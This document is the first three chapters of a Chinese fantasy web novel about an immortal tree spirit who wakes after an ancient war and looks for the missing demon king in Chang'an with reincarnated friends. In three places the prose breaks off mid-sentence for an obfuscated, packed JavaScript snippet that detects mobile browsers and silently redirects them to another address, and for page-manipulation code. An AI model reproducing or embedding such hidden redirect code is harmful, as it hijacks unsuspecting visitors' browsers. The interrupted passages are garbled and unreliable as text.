《春与千树长》 1. 春光已至 她曾以为,不死树长生,她的命运该是做一个观察者,静观世界变迁,而非周而复始地拥有,再失去。 可是,她忘了,从她诞生的那一刻,苏醒的那一刻,她的选择就注定了,她无法置身事外。兰因絮果,早已为这宿命的开始写好了结局,所谓命中注定,皆因选择。而她与他,从未后悔。 混沌之初,天地自然衍化生灵。 昆仑山,天池畔。 一颗白色龙蛋掩藏在一棵通身枝桠雪白的树后。可惜这树尚未长大,而这两抹白在风沙烟尘又中太过显眼,引来了觊觎者。 浓重的黑色魔气烟雾般笼罩了过来,只一瞬间,这棵树便被千丝万缕的魔气缠绕,它颤抖着、抗衡着这无序又混乱的力量。 “不可以,这枚蛋既然选择呆在我这儿,那就是在我的庇护范围里了。”树在摇晃着。 “不自量力,不过是个初生的小树苗。”只听一声嗤笑后,狂风席卷,沙石漫天,而树身瞬息间爆发出眩目的光芒,吞噬了黑色,随后皆化为虚无。 风停,雾散,只剩下了那一枚白色的龙蛋。而蛋壳也在这强大的冲击里破碎,一滴鲜红的血穿过好似静默的空气,渗入地底。 一只墨蓝色的小龙从破碎的蛋壳中走出来,被划破的伤口已然愈合。他刚刚好像听到了一个小小的抽泣声“呜,好疼”,转瞬即逝。可他环顾四周,有山、有水,没有树。他感知到,那棵树不见了。 “啪嗒”一滴泪落下,小龙在出生的第一天就有了一种情绪,叫做悲伤,为陪伴许久却未曾谋面的朋友。 泥土深处,深埋地底的树根,好像察觉到什么,在泥土中费劲的向上弯曲着拱了一下,但紧接着就耗尽了力气,沉睡了。 但小龙并没有放弃,他用尽力气,以灵力化水,细致而均匀地浇灌在树根周围。而后便一直静静的注视着树根的方向,久久未动,好像在期待着马上就能长出一棵白色的小树。 一片素白的寂静中,一片雪花飘扬着穿过结界,片刻停留后便融化在她眼睫,似是一滴泪,在呼唤她醒来。 于是,她睁开眼,再一次地,看向这个世界。她一袭浅青色衣裙随风飘扬,清丽出尘。丹凤眼中流转着沉静的波光,好似在为新生而欣喜,又好像在为故人而伤悲。她便是重获新生的不死树妖,应若。 “又下雪了啊。” 她伸出手,接住丝丝剔透的凉意。指尖轻点,旋即将手中的雪花恢复成原本飘落时的样子,再任由它们飘落向大地。 这是昆仑山峰的一场雪,伴着穿过无尽时间的风,覆盖了过往,凝结在此刻,成为一片片的纯白,飘向将来。 应若举目四顾,除了这一汪深蓝沉静的天池,尽是白茫茫的一片。“是了,这一片,以前原本也只有我和应龙会待一待。” 她随意的仰起头,看向忽远忽近的天空,像是被清晨的阳光刺痛了双眼一样,抬起手遮住了眉眼。 她静静的靠坐着,身后是一棵白色枝桠的风雪不侵的树,这便是她的本相-不死树。 这树看起来光秃秃的,没有长出叶子,是因上古大战后消耗过多,而现下妖力不够,灵气不多,叶片长出来可能要很久。 “过了几千年,灵气如此稀薄,短时间内妖力也无法提升太多,这树形看起来就是不大美观了。”应若嘀咕着,有点儿小小的不满意。 “还有,刚刚好像梦到最初的事情了,已经被遗忘了很久的。以至于从前那几万年里,一直都没把强大的应龙和最初那个小龙联系到一起。毕竟当初我还没来得及看清小幼龙的样子呢。原来,那才是我们最初的遇见。” 她这样想着,微微偏头,低喃道:“可我已经快要不记得那时的心情了,还有后来的。可惜了,没看到应龙幼崽时候的样子,应该很可爱吧。”说罢,还似手痒一般捻了捻手指。 不死树妖妖如其名,不死。重伤妖力耗尽后,便陷入沉眠。如今不过就是没有了从前的妖力,需要重新修炼。但看样子,如今的妖和人,修为应该大多平平,和从前是没得比了。 她现在也只是个普通的小树妖,就这样去看看现下的世界,有多少翻天覆地的变化,也不错。反正时间还多,日子还长,不如就先去妖王殿看看,不知道她们是否还在,是否还好。 应若掸衣起身,用“虚妄”把树伪装成一片虚无,确保他人看不见树的存在,顺手又加固了一下结界,便离开了。 路上,一个小兔妖嘻笑着说起新听到的传闻。“我听说,咱们的妖王鲲鹏大人,五年前在人间因为遇到了真爱,所以留在人间不回来了,就连祭祀大典都不露面了。” “妖王大人怎么能这样,就不管我们了吗?”另一个小兔妖听了,瞬间红了眼眶。 “奇怪,鲲鹏也不该一点儿消息都没传回来,但我又只能感应到他还活着,但不知所踪。”应若垂眸,跟着这几个小妖,行至妖王殿。 “肃静,祭祀大典,即将开始。妖王大人五年前便在人间闭关修炼,不让我等打扰,今年祭礼仍由我代为主持。”肃穆而庄严的声音从崖边传来,这一任的妖族长老青羽手持法杖,迎风立于祭台之上。 “是青鸟一族。”应若没再走近,隔着风雪,稍远一些望向众妖祭祀的地方。 伴着阵阵钟鸣之声,青羽继续道:“忽然之间,今距大战,已过千年,我辈自当铭记应龙与树妖大人。 应龙与黄帝约法三章,人与妖不得互相伤害,以种族定誓约,战中杀死了魔神蚩尤,以身镇魔,而后化作星辰,被魔气所伤的人和妖也都恢复清醒。 树妖曾管理妖族,将律例法理编撰成册,同应龙一道传授人和妖清净心法,修习感悟正道,不轻易被邪魔侵扰。 树妖在大战中也倾尽全力庇护妖族,由于战后致使大地荒芜,生灵涂炭,树妖以赋生,使大地从焦土恢复生机,让人和妖的生命力更加顽强。他二人是我们妖族的信仰。 在祝词的最后,谨以此杯,敬舍生忘死的同胞,愿我们同心戮力,庇佑一方。” “同心戮力,庇佑一方。”台下众妖们纷纷呼应着,神情庄重而真挚。 “二十八星宿里,没有应龙吧。”应若想,应龙应该化不了星辰,这祝词也不能尽信。 听到这冰冷无情的话语,一个狐妖少女瞪大眼睛,“不准你胡说!就算没有,天上的星星那么多,你又不是全都认得,肯定有一颗叫应龙。” “啊,有道理,是我说错了。”应若连忙道歉,心中暗忖,现在的小妖们,真是放肆啊,但也,真好啊。 应若笑着转身,还有声音随着风飘来。 “你们说应龙和树妖大人谁更厉害呢?” “应龙吧,他可是成神了,我最喜欢应龙了。” “你都没见过他,哪来的喜欢?” “我就是崇拜喜欢呀,他是人和妖的英雄,没有他,就没有现在的我们了。” “可是树妖大人上知天文,下知地理。我好崇拜她的,我也想成为她那样厉害的妖。” 应若脚下一顿,复又缓缓的走远了,“可我并不厉害,曾经不厉害,现在更不厉害。” 不想再回忆,却还是想起了最后一战的时候,当时她与应龙并不在同一个战场。然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187093|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当她赶过去的时候,已经什么都没有了。 那天,她在尘沙漫天、不分日夜的阵中看了又看、找了又找,都没找到一丝一毫熟悉的神力。怎么会没有呢,天上、地下,就只有灰烬、烟尘、浓重的风和看不见的光。分别的时候她哭过,这一次,她却没再哭了,她的心已然荒芜一片。她踉跄着起身,嘴角的血迹已经干涸。 “应若,这是你的报应。” 青鸾强撑着伤痕累累的身体走过来,脸上表情似哭似笑。“还记得你杀死过一只青鸟吗,那是我阿娘。” 青鸾拿出木刻的碑文,“看,这是你立的字据吧,我也要让你体会我失去至亲的痛。但看你现在的样子,我都快要不忍心了。”青鸾嗤笑着,却又连连咳血,像是笑生命无常,又像是笑终得解脱。 “对不起,虽然应该是我做的,但我不记得了。”应若又忍不住咳了一口血,颤抖的指尖拂过木碑,“如果是我错了,你杀我啊,为什么是应龙?他,是他和我说,让我好好教你……更何况,这场战争,多少人族和妖族因此牺牲。”应若五指深深刺入木碑,再也说不下去了。 “这仇我报完了,反正我已是重伤难愈,连自尽都没有力气了。你杀了我吧,我也算是以死赎罪了。”青鸾的声音仿佛忽近忽远。 原来,一个未修成神的魔其实并不足以让应龙神魂俱灭。这其中也掺杂了妖和人的阴谋。为了赢得胜利,蚩尤迫切的想要除掉应龙,便与青鸾结成血契,助魔族一臂之力。在最后一战,以人和妖共同的血契力量助魔成神,魔力大涨。还布下了杀阵,试图将神与魔一网打尽,让他们同归于尽。 应若闭了闭眼,血顺着嘴角滴落,“如果,你的母亲全然是为我所害,那是我错了。但,仇不是这么报的,你选择背叛,就是天下的罪人。这回,你记好了,杀你的是我,他日,别再找错了人。”话音落下的瞬间,妖力穿透青鸾的身躯,剩下一根青色的羽翼飘摇着落下。 “啊,只剩下我了。”她忽然就笑了,似哭似笑着,最后就只剩下空荡的风,风干她的血与泪。 战争以黄帝的胜利宣告结束了,战场上,人、妖,渐渐的都走了。庆幸的、欢呼的、祝贺的、哭泣的声音,也都渐渐的不见了。 那天,月正圆。即便无雨,所有温热的、冰冷的痕迹,也终将淡去。 而那一切的谋算,应龙在踏入法阵的瞬间就感知到了,但战争该到此为止了。神爱世人,以慈悲渡人。神应天地劫难,为维系自然运转而生,便也当为此从容赴死。应龙离去后,昆仑山顶从此冰封,再无妖能及。而魔并不会彻底死去,这也不过是给了人和妖喘息的时间,等他们学会团结,变得强大,也许会有更好的方法。 “说来也奇怪,有些天地初开时的事情,我确实不记得了。我曾经问过应龙,他说没关系,是受过重伤导致的。现在,我突然很想记起前因后果,也该看看新的世间了,还有鲲鹏。”应若抬首眺望一眼冰封的山顶,转身下山,走向了新的世间。 辰光山,是人与妖的修行之地。 在这个个灵气微薄的世界,正道之中,修身心以兵刃和灵气为主、修阵法、修习异术者兼而有之,但修为大多尚浅。一己之力可抵千军万马的时代,已经过去了。 “应时,此番历练,定要万事小心,不可冒进。” “知道了,师父。”少年深深一揖,望了望师父的背影,而后转身,再向后摆了摆手,便轻快地踏出了山门。一道门,两个世界,是走出,也是走入。 不约而同地,她们选择前往京城-长安。 大梦初醒,春光已至。 2. 三月初三 南华,元和二十年春。 长安城,天色将暗。 春暖花开,一年一度的上巳节,已是灯影绰绰,络绎不绝。此起彼伏的声音不绝于耳。 “都来看看了”、“糖人儿”、“牛乳酪”、“样式别致的香囊”、“纸鸢”、“小动物花灯”、“上好的玉饰”;“我要这个”、“好吃”…… 千年后的人间如此繁盛,应若只身走在街头。熙熙攘攘之中,可有一人为她而来?百花盛开之时,可有一朵簪于心上? “姑娘,要放个灯吗?”老板娘提灯笑问。 应若驻足,略微颔首,环顾众多精致的花灯,选了一盏荷灯。 “如果有思念的故人,可以在侧面提字。”老板娘接过银钱。 “多谢。”应若双手接过荷灯,行至河边,却并未写些什么,直接将烛火映照的荷灯放入水中。身在烟火尘间,唯愿故人长安。 水波荡漾,荷灯摇曳着飘远,暖黄色的光晕,像是那已经走远的故人,遥远的从前。曾经比肩同行的,到最后、到现在,只剩她一个。 “抓小偷啊,他偷了我的钱!”身后不远处传来了一个男子焦急的呼喊。应若从思绪中抽离,回头看向混乱的来处,却见另一个男子背影清朗矫健,几个腾跃间,便将那偷贼擒获,周围一片叫好声。那身影拱了拱手,便被人影遮住看不见了。 应若定定地看了片刻,霍然起身,瞬间移步至那摊位前,“老板,冒昧询问,方才帮你抓贼的人呢?” “呦。”老板倒是一笑,“往那边去了。”他手一指。 “多谢。”应若连忙疾步前行,衣袂如风,一边走一边左右张望,却什么都没有。 就这样走过一片片的热闹与喧嚣,行至一处边缘的林间,瞧见一棵有灵识的百年榆树,应若心中一动,轻轻跃至树枝上,覆手于树干,“以真心问真心,于识海问真灵,木之问灵。” “榆树前辈,我想找您打听点事儿,近些年,您是否听闻过鲲鹏的消息? “你说妖王鲲鹏啊,五年前曾在都城见过他。唔,他常去望月楼听琵琶,不过后来就不晓得了。 这人和妖也安定了好些年了,只是近几年来,魔族又多少有了些不安分。”大榆树慢悠悠的说。 “原来如此,多谢。您放心,我会找到妖王,不会让世间再起纷乱。”应若保证后,又轻咳一声,状似无意般说起,“那,您刚刚有看见什么人路过吗?” “人?有啊。” 应若正要再细问,一男一女跑着闯了过来,应若难掩惊讶,“是,她们?” 那女子面若桃花,杏眼娇俏,那男子一双桃花眼微微上挑,似笑非笑。一个晃神间,女子手中刀光一闪破空袭来,却被那男子灵巧地腾挪,偏头躲了过去。 她口中高喊着:“墨悦,你这妖,给我站住。”而那男子全然不理,一路飞奔,还有心思回头连声解释道:“我说花染,冤枉啊,你这都已经追着我多久了,到底要怎样你才能相信我的清白啊?你母亲的失踪与我无关,那天晚上,我真的只是路过。” “墨悦、花染。曾经他们没能来得及取在一个人间游历的名字,如今倒也算契合。这一次,他们也是有缘了。”应若不由轻笑,竟是不知不觉看得入了神,忘记了要隐匿身形。 追逐间,只见花染睁大双眼,不可置信的一指树上:“你竟然还叫了帮手!”墨悦听得一愣,也看向树上:“什么?我没有。” “抱歉,我只是路过,不是什么帮手。”应若连忙整理好表情,平静从容地掠下树来,“你们继续。” 应若转身欲走,却听花染问道:“那你呢?”她指向另一侧的枝桠间。 应若微微蹙了一下眉,敛眸间心道,树上竟还有人,她都没察觉。 “我吗?” 应若听见这声音骤然抬目,在兀自平复一息后,方才缓缓回首,望向那清润又微扬的声音来处,而那人也刚好轻巧的跃至树下望过来。 这一刻,风好像停了,时间被无限的拉长,所有的声音也都模糊远去了,只剩下他温和又难掩锋芒的眉眼、清晰的灵魂印记、跳动的心声,真实的将过去与现在重合。 他还是那般,眉目疏朗,凤眼中凛然风华,神姿高彻之容。 一时间,心念千回百转,往昔种种浮现又沉淀,眼底深处波澜起伏,最后归于沉静。应若在与他短暂的视线交错后便收回了目光。原来,她刚才没有看错。她垂眸,浅浅的笑了。 “花染见过七皇子殿下,我是花府的大姑娘,今年刚及笈。”花染抱拳,没想到她竟是对皇子大呼小叫了。 “不必如此。我早已入辰光山修行,如今已是江湖中人,皇宫的事儿与我无关,以后就叫我应时吧。哦,我今年已逾弱冠。” “那好,时哥。正式自我介绍一下,我是墨悦,妖族,今年大概三百多岁了,本相是白猿,性格活泼开朗。最擅长火系攻击法术,喜欢吃桃子。看时哥英俊潇洒、身手不凡,我决定以后就跟着你闯荡江湖了。 最重要的一点是,我没有伤害过任何人、任何妖。所以花染,我墨悦对龙神和树妖大人发誓,将军府的事情完全与我无关。”墨悦语速极快地将这一连串说了下来。 沉默,无比的沉默,一时间竟不知要从何说起。 “嗯,虽然不太理解,但这是现下时兴的自我介绍模版吗?”应若保持微笑,“那我先简单介绍完,你们之间的问题再自行解决吧。我名应若,树妖。但我还有事,先走一步了,后会有期。”说罢,不待几人回复便飞身离开了。 榆树下的相遇,甚好。“啊,有失风度,是刚睡醒没多久的缘故吗,我的眼睛好像不太受我控制。”有什么模糊了她的视线,氤氲开来。“能再遇见你们,我很开心,也很知足了。但就这样吧,是新生就都有新的生活了,活着就好,我们有缘再见。” 隔日,望月楼,是夜。 “这儿别有洞天啊,几千年不见,人类可真是会享乐,我可算长见识了。”楼中雕梁画栋,色彩斑斓,台上几个清雅的女子载歌载舞,翩若惊鸿,各式乐器交相呼应。“虽则人美艺高,但衣裳如此单薄,连日弹奏,看着又并没有修为,不冷吗?”应若不由唏嘘。 “相请不如偶遇,应若姑娘有所不知,这楼,是我开的。所以有什么想问的,我或许知道的更多些。”身后一角的阴影处,应时不知已经在那儿站了多久。 应若定了定神,“堂堂皇子,抑或是江湖中人,开这望月楼,很骄傲吗?”她语调清冷,心中没来由的有些滞闷,“就这么被跟踪被预判了?” “望月楼是为探听消息之用,有用自是值得。”应时也不在意,淡然回道。 “不如随我去楼上雅间一坐,请。”话至此处,应若也只好颔首跟上。 应时见她在一瞬间低垂下眼眸,面色淡淡,却让他生出了一种莫名的愧疚之感,就好像,她在难过,而这难过,是因他而起。 而另一边,气氛倒是相当融洽。 “早说嘛,早知道你也是以应龙和树妖大人为榜样,我肯定相信你的!”花染颇为开心,“还有,你以前是不是总待在我家院外的那棵桃树上?是你吧?” 墨悦眼角带笑轻声应是,抬手拍了拍她的肩膀,“那从今以后,你我就是异父异母的好兄弟了,将军府的事,我定会帮你查清楚的。走,去喝点?”就这么简单愉快,二人渐渐有说有笑的走远了。 望月楼雅间内。 望着案几上颇为好看的点心, 应若压下心中的涩然之感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187094|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,开解自己,既已入局,那便顺其自然吧。第一次相遇,好不容易说服自己,各有缘法、各担因果。第二次,她可能也不想再离开了。 应若不动声色的移开视线,“所以刚才我问的不是榆树,是你。这是什么障眼法?” 应时轻啜了一口茶,颇为意外地抬眼,“秘密。” “我就直说了,先前跟踪你,是我看错了,以为是熟人。我找妖王,是关心妖族。我希望天下太平,就这样。”应若坚定而认真的看着应时的双眼。 “五年来,你倒是唯一一个真心打听妖王下落的,我暂且相信你。”应时将茶盏放置在案上,“不过,我的消息,都是有价格的。” “我要有关妖王和魔族的所有消息,你想要什么?”应若正色道。 “我要你帮我取得应龙大人的乾元剑。”应时略微压低了眉眼。 “成交。”应若爽快地点头答应。 “你都不问,我要乾元剑做什么吗?”应时没想到,她竟然这么轻易就答应了。 “你做什么,是你的事。是非对错,都是你的选择。只要你有那个能力去做,并且不后悔。更何况,我相信,能拥有乾元剑的人。”应若云淡风轻地笑了,却又话音一转。“不过,还是立个字据吧。” “人与妖之间的信任,这么短暂、这么脆弱吗?”应时却也不由得放松下来。 “是。别说人与妖,妖与妖也是一样。有了契约,你我都能更安心,何乐而不为呢?”应若似意有所指。“对了,契书,你来拟吧,我有点儿累了。” “当然。”应时欣然提笔。 “应时会尽其所能帮助应若找到妖王鲲鹏,应若会帮助应时取得应龙的乾元剑。应时和应若共享一切消息,一同对抗魔族,行正义之事。 以此为念,永守此约。” “我什么时候说要和你一起对抗魔族了?”应若有些讶异地望向他。 “就现在吧。”应时笑着看过来。 “你做你的皇子、或者做个普通的江湖客,不好吗?”应开目光悠远,忆起曾经问过应龙,那时他说:“如果有来生,我希望做个平常人或者妖,天下大事与我无关,我只需要过好我自己的生活。” “那你就做一个普通的小树妖,不好吗?”应时反问,又似是想到了什么,补充道:“确实还有一个原因,我看你很是面熟,总觉得在哪见过你。” “好好好,我信了。”应若似是无奈般一笑置之。“是真的,好像是心里,又好像是梦里。”应时在心里默默地想。 “以我心念,永守此约。”二人皆并起双指,轻触心口,再直指契约,一道墨绿、一道墨蓝的灵力各挟一滴心头血,附于契约末尾,血迹旁边,便也显现出了二人的名字,“应若、应时”。 “稍等片刻。”说着,应时拿出一块玉佩。烛光跳动着,许是离烛火有些近了,应时的耳廓略有泛红。他专注的雕刻着手中润泽碧绿的玉石,时而停住思索,时而眉目舒展,翠绿的玉佩上,一颗小树渐渐成形。“契约先由我保管,这玉佩就当作信物送给你。” “好。”应若答应着,但看着这玉佩一时竟有些怔愣。当初送出的玉石再也寻不见了,但现下的玉佩也很好,那棵小树看起来的确很像她的树形。 应若便将玉佩系在衣摆间,嘴角带着温和笑意,“那我先走了。” “我送你。”应时收好契约书,跟着起身。他总觉得,直到此刻,她的眼中,才真正装下了一个他。 二人走下楼梯,却见墨悦在门口拉着花染,冲他们挥手,“时哥,应若姐,你们在这儿呢。” 应若看着他们,突兀地笑了一下,手肘碰了碰应时,称赞道:“好谋略。不过,标准是什么?” 三月初三,故人当归。 3. 青云向晚 趁着他们从人群中挤过来的时间,应时言简意赅:“合眼缘。刚刚好,我眼光不错吧?” 应若和应时互相对视一眼,皆划过些许欣赏与莫测之意。 “时哥,哎呀,非礼勿视。”墨悦总算到了近前,以为自己发现了什么秘密。 “算无遗策,倒是坦然。”应若对着应时调侃着。 “我心怀坦荡,自是无比坦然。”应时泰然自若。 契约好像莫名的拉近了应若和应时之间的距离,有了心照不宣的默契。可以有各自的秘密,也可以轻松随意的说笑,颇有一见如故之感。 “时哥,你们在说什么?还有在树林里,你刚和我俩说了一句将军府的事情可能和妖王有关,看见应若姐走了就也不见了人影,到底要如何去找妖王?” “出去细说。” 四人行至桥上,应时神色自然地忽略了第一个问题,只沉声道:“五年前,我听宫里人说过,妖王是因追查妖族事宜,最后到了西郊山庄附近,就再没有消息了。” “总之,我们都要先去山庄探一探究竟。”花染坚定道。 “那我们明日一早便动身吧,应龙和树妖大人保佑,我们一往无前!”墨悦一拍手,眼里满是兴奋和憧憬,“长安四侠,就是我们啦!” “你们,不会都信奉应龙和树妖吧?”应若一言难尽。 “难道应若姐姐不信?”花染脸上一副如果你不信,我就看错你了。 “信,当然信。信仰之力果然强大。”应若马上表明立场。 笑意在眼角眉梢晕染开来,四人的神情第一次的如此相似,就像是春花为见,知前路艰险,仍奔赴战场的那一年。 树影婆娑间,烟花接连着在夜空中绽开,灿烂夺目。一个人的时候,总觉得无趣。而一群人在一起,即便相识不久,就这样走走停停,都觉得温暖又幸福。 不远处的琼花树上,许多小花苞密密地拢在中间,最外圈是一个个稍大的花苞,有的含苞待放,有的已经绽放了。可以窥见全然盛开时的洁白如雪,仙姿绰约。 “喜欢琼花?”应时的目光还在眺望着远方,却突然在她耳边轻轻问道。 “还好,只是觉得眼熟。但昆仑又没有琼花。”应若收回视线,望向他的侧颜,也轻轻地笑了。 “我也觉得琼花好看,花开会更美。”他又望向那花树,不知是在说谁。 火树银花,流光千点,岁时有遇,意若春长。 “我往这边走“、“我也是”。就这么一直走到了客栈。“真巧,我们竟然住在同一家客栈。”墨悦意外。 “哎。”应若摇头叹息,径自上楼去了。 次日清晨,四人以法术“瞬息”行至青云山,潜至山庄偏门入口,入口处有两名士兵把守。现身的刹那,钥匙便落入花染手中。墨悦瞳色变深,“无相”二字一出口,那两名士兵皆瞳色幽深,眼中空无一物。 四人便这样轻易的进入了山庄,入目一片诡异的寂静,没有风声,没有鸟鸣,只有大片翠绿的竹林。中央有一条狭窄而笔直的青石小路,通向尽头的一间茅草屋。 墨悦正欲向前走,却被无形的力量挡住了。“还有结界。” 这莫名熟悉的波动让应时若有所思,他缓缓上前,每走近一步,跳动呼应的声音便愈加清晰,似是魔气。应时一手负于身后,一手捏诀,“启元、有容”。只见结界的边缘显现出来,也在逐渐变化扩展。“我们现在在结界内了。” 沿着小路,行至门窗紧闭的屋前。应若上前一步,在推开门的瞬间,守护法术已然成形,却并未收到攻击。 “花染、墨悦,你们在外面守着,我们先进去。”应时叮嘱道。 “你们也千万小心。”四人互相点头致意。 应若同应时并肩,走进了屋里。在双脚落地的那一刻,门嘭的一声关上了。 屋内的神龛前,一个男子的背影跪坐着。“我乃妖王鲲鹏,何事扰我闭关清修?” “妖王何故在此闭关?” 妖王突然转身,霎时间狂风大作后,这间茅草屋消失不见。空地上几块石碑中间,侧躺着一名白发遮面的女子,她的一只手被锁链扣住,原来刚刚不过是幻象。她嘴角勾起,另一只手正欲施法,却有一只手握住了她。 应若扶她坐起,手指拂开她的长发,直视她被黑色浸染的眼睛,“醒来”,猛地一拽她的手腕,将她的手指刺入自己的胸前,那里,心脏在跳动,鲜血在流淌。 “你”、“应若姐”惊呼传来。 女子突然受到惊吓般用力收回手,眼瞳恢复正常。应若的伤口也在瞬间愈合,只有那只手上的血迹证实刚才瞬息间的一切不是幻觉,应时突觉心口一阵刺痛, 女子呆呆地看着应若,如梦初醒,一行泪无声无息的流了下来,“我是椿,林晚。” 林晚,也是椿树妖,她的目光一一从四人脸上划过,怀念、眷恋、愧疚、不舍,众多复杂的情绪交织在一起。 “花染,对不起,我没能救得了你的母亲。”其余三人的目光都略带担忧地望向花染和林晚。 林晚在这难得清醒的时刻,讲起了事情的原委。 十五年前,国师大弟子观天得知椿树妖来到人间,便处心积虑追求春晚。春晚被感动,也心生爱慕。 十年夫妻,全然假意,一纸婚书,只是为了困住她,也是煞费苦心。林晚助他修行,那许多的术法,最后倒是用在了她自己身上。 观天假借林晚的名义约将军夫人玉瑶白日里家中相见,二人是多年好友,玉瑶以为那不过是一个简单的邀约,便没有知会家人。而那时,林晚已经被缚妖锁困住,再无法使出任何妖力。 观天为了延长寿命,意图杀害玉瑶,夺取其修为。林晚眼睁睁的看着玉瑶在她眼前,自毁内丹,和观天同归于尽,而她最后却被一股魔气击晕。一醒来,就在这结界里了。日复一日,魔气也让她浑浑噩噩。 一时间,四人围坐在她身前,尽是唏嘘。 “那你可有妖王鲲鹏的消息?”应时打破沉默。 “鲲鹏,萧寻来人间了吗?这一切都是因我而起,如果鲲鹏为了找我,也陷入困境、下落不明,我就是死也难辞其咎了。”林晚心中万般悔恨,却也于事无补。 “不是你的错,是他们心怀不轨。就算有错,你只是相信错了人,你只是错了这一次。谁都会犯错,你要活着。”花染红着眼睛,她早就感知道,她的母亲,已经不在了。应若拉过她攥得指节发白的手,轻轻拍了拍。 “我不知道我的修为和力量是在供养哪个魔族,但只要我死了,对魔族就会是重创。我的心是最后的清白之地,如果有可能,用我的树心救鲲鹏。让我赎罪吧,不要救我,去救更值得的,这是我最后的请求。”林晚平静而释然的笑了。 “林晚大人,你庇护妖族那么多年,我们都需要你。”应时和墨悦看着一代妖族的守护者,不忍道。 “应若,答应我。”林晚只是笑了笑,将自己的树心取出,化成褐色晶石,放入应若手中。 应若艰难哽咽着点头,泪水盈满眼眶,倔强着不肯落下。 “来生,我还想做一棵树,护一片净土。”林晚的眼眸逐渐失去了光彩。 “我终于等到你们了。阿晚,回家了。” 林晚的身影随着这最后一句话语声,消散了。 “啪—” 清脆的声响,一枚黄色的玉佩失去依托,落在地上。一滴泪,也终究是砸在了玉佩上,这枚玉佩,还是应若送给她的。 应若在模糊的光影间,好像看见了同学法术时,林晚总是认真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187095|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安静的面庞。他们四个即将奔赴战场,送别时,林晚和萧寻留下守护妖界,站在边界的最前方,身后是一众妖族。他们喊着,“我们等你们回来。”千年了,等到了。 良久,应若缓慢的站起身,只听花染的声音道,“应若姐姐,你刚刚,伤没事吧?” “不用在意,妖力比较强的妖,只要不是重伤,都能立刻恢复。我的血,邪祟不侵,只要她有想要摆脱的心念,这就是破魔最快的方法,不然还得先打一架,又未必打得过。相遇离别,世事难料,除魔卫道,本就是如此。别这么沉重。”应若看着三人满含关切的目光,淡笑着解释。 “墨悦,同为妖,你来给我作证一下,妖受伤能快速恢复,你也可以,没错吧?”墨悦连忙点头称是。 应若手中攥紧玉佩,对三人轻松道,“这样,你们先去宫里禀报吧,我还有点事儿要处理一下。” “我和你一起。让他们俩去禀报就行了。”应时抬手轻轻握了一下应若冰凉的手腕。 “也好。”花染和墨悦先行离开了。 “不是说好了,一起对抗魔族的?”应时语气轻松。 “你也能感知到有魔气?”应若有些诧异。 应时未答,只是避开视线,转移了话题,“受伤、流血,就算很快就会恢复,但你,不疼吗?不要再随便受伤了。” “我……”应若看着应时的侧脸,有些怔愣。“以后,不会了。我们走吧。”应若压下翻涌的莫名心绪。 禀报过相关事宜,已是傍晚。花染与墨悦并肩同行,花染喃喃自语:“阿娘,您放心,我会除掉作乱的魔。陛下也已下令,严查魔气作乱之事。一切,都会好的。” 墨悦也道:“我们都和你一起。其实我最初来人间,只是觉得好玩。但现在,我也想承担起责任,以我所有,扬善除恶,还世间安宁。” “老板,来两块玫瑰酥。”墨悦付过钱,将一块糕点递给花染。 “听说,吃甜点会让人心情好,你试试。”花染展颜一笑,细细的嗅闻着浓郁的香气,看着它小巧的兔子形状,便迫不及待的一口咬掉了小兔脑袋,“哇,这糕点,妙啊!玫瑰的花香融合了牛乳的香气,你也快吃。” 墨悦便也笑着品尝,“你的形容,恰如其分。” 花染笑过后,罕见的有些不好意思,她顿了顿,终于坚定地把心里话说出口,“我之前追着你不放,并不是因为怀疑你。我那天问你有没有见过我娘,你说你见过,我也只是想追着这点或许微不足道的线索。我还欠你一个正式的道歉,对不起,也谢谢你。” “没关系,我没有在意过这个。”墨悦被这突如其来的正式也影响得有些不知所措。“谢我什么啊,我也没做什么。” “要感谢你的事有很多。这些年,我把全部的时间都用在练刀上,也没怎么出过门,更不知道该如何交朋友,我表现得很开朗,是因为我怕被别人讨厌,我怕自己做的不够好。你一直都很包容我,教导陪伴我的是你,救我的,也是你。” 花染说着,回想起那些年,墨悦总是喜欢在她家门旁的那棵桃树上待着,偶尔看她练刀不顺手,还会出言指点一二。她其实很感激,有人会不时的陪她说上几句话,让她觉得生活还很有趣。隔着一道墙,一棵树,他们是熟悉的陌生人。 她母亲失踪后,很长时间都没有任何消息,所有人都说找不到了,算了吧。那天晚上,她决定自己跑出去找,结果遇到坏人,也是他救了她,虽然她没有看见,但她都知道,因为她记得他的声音,他说,“我在呢。” “原来算起来,我们已经相识很久了。那以后,我也会陪着你的。”墨悦笑着看向花染。 夕阳的光,将他们牵着手的背影映照得朦胧又温暖。这条路,还很长。 意晚阑珊,云霞漫天。 4. 魔之为魔 